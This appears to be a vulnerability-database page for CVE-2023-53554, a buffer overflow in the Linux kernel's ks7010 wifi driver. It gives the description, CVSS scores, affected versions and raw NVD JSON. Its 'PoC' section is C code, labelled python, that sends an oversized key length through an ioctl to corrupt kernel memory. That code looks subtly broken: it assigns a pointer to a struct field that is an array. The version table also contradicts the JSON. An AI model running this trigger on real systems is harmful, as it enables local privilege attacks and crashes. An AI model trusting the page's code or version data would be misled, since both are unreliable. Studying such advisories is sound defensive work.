Security Vulnerability Report
中文
CVE-2023-53554 CVSS 7.8 HIGH

CVE-2023-53554

Published: 2025-10-04 16:15:51
Last Modified: 2026-03-23 18:40:35
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: staging: ks7010: potential buffer overflow in ks_wlan_set_encode_ext() The "exc->key_len" is a u16 that comes from the user. If it's over IW_ENCODING_TOKEN_MAX (64) that could lead to memory corruption.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 4.14.308
Linux Kernel 4.15.x < 4.19.276
Linux Kernel 4.20.x < 5.4.235
Linux Kernel 5.5.x < 5.10.173
Linux Kernel 5.11.x < 5.15.96
Linux Kernel 5.16.x < 6.1.4
所有包含未修复ks7010驱动的Linux内核版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2023-53554 - Linux kernel ks7010 buffer overflow PoC */ /* This PoC demonstrates the vulnerability in ks_wlan_set_encode_ext() */ /* Note: Requires ks7010 driver loaded and a compatible wireless device */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/wireless.h> #define IW_ENCODING_TOKEN_MAX 64 #define SIOCSIWENCODEEXT 0x8B2B int main(int argc, char *argv[]) { int sockfd; struct iwreq wrq; struct iw_encode_ext exc; char key_buffer[256]; /* Intentionally larger than IW_ENCODING_TOKEN_MAX */ /* Create a raw socket for ioctl operations */ sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket"); return 1; } /* Set the interface name (ks7010 device, e.g., wlan0) */ strncpy(wrq.ifr_name, "wlan0", IFNAMSIZ - 1); /* Fill the key buffer with crafted data */ memset(key_buffer, 'A', sizeof(key_buffer)); /* Configure the extended encoding parameters */ memset(&exc, 0, sizeof(exc)); exc.key_len = 200; /* Exceeds IW_ENCODING_TOKEN_MAX (64) - triggers overflow */ exc.key = key_buffer; exc.alg = IW_ENCODE_ALG_WEP; wrq.u.data.pointer = (caddr_t)&exc; wrq.u.data.length = sizeof(exc); wrq.u.data.flags = 0; /* Trigger the vulnerability via ioctl */ printf("[*] Sending malicious SIOCSIWENCODEEXT ioctl...\n"); if (ioctl(sockfd, SIOCSIWENCODEEXT, &wrq) < 0) { perror("ioctl"); printf("[-] ioctl failed (driver may not be loaded or already patched)\n"); close(sockfd); return 1; } printf("[+] ioctl sent successfully\n"); close(sockfd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53554", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:50.697", "lastModified": "2026-03-23T18:40:35.123", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: ks7010: potential buffer overflow in ks_wlan_set_encode_ext()\n\nThe \"exc->key_len\" is a u16 that comes from the user. If it's over\nIW_ENCODING_TOKEN_MAX (64) that could lead to memory corruption."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndExcluding": "4.14.322", "matchCriteriaId": "B9FCEEE1-8B62-44F3-A1F0-F51CECE7449A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.291", "matchCriteriaId": "D2D2CA9F-4CC4-4AF5-8C6D-E58415AB782E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.253", "matchCriteriaId": "0707E9FF-8CDE-4AC1-98F3-5BB74EF88F8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.190", "matchCriteriaId": "B8DECE4F-2D62-4976-B338-963015198AC8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.124", "matchCriteriaId": "C069F09E-CA06-47B3-850D-ED23A9F4C096"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.43", "matchCriteriaId": "A9E3E7AD-3EAC-485A-8673-5A89FB889587"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.8", "matchCriteriaId": "6F5CB671-C757-4B7A-B3D3-283AFE20F0D7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc2:*:*:*:*:*:*", "matchCriteriaId": "E4A01A71-0F09-4DB2-A02F-7EFFBE27C98D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc3:*:*:*:*:*:*", "matchCriteriaId": "F5608371-157A-4318-8A2E-4104C3467EA1"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5373a1aa91b2298f9305794b8270cf9896be96b6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5f1c7031e044cb2fba82836d55cc235e2ad619dc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/663fff29fd613e2b0d30c4138157312ba93c4939", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7ae9f55a495077f838bab466411ee6f38574df9b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9496fb96ddeb740dc6b966f4a7d8dfb8b93921c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b1b04b56745bc79286c80aa876fabfab1e08ebf1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/baf420e30364ef9efe3e29a5c0e01e612aebf3fe", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/caac4b6c15b66feae4d83f602e1e46f124540202", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}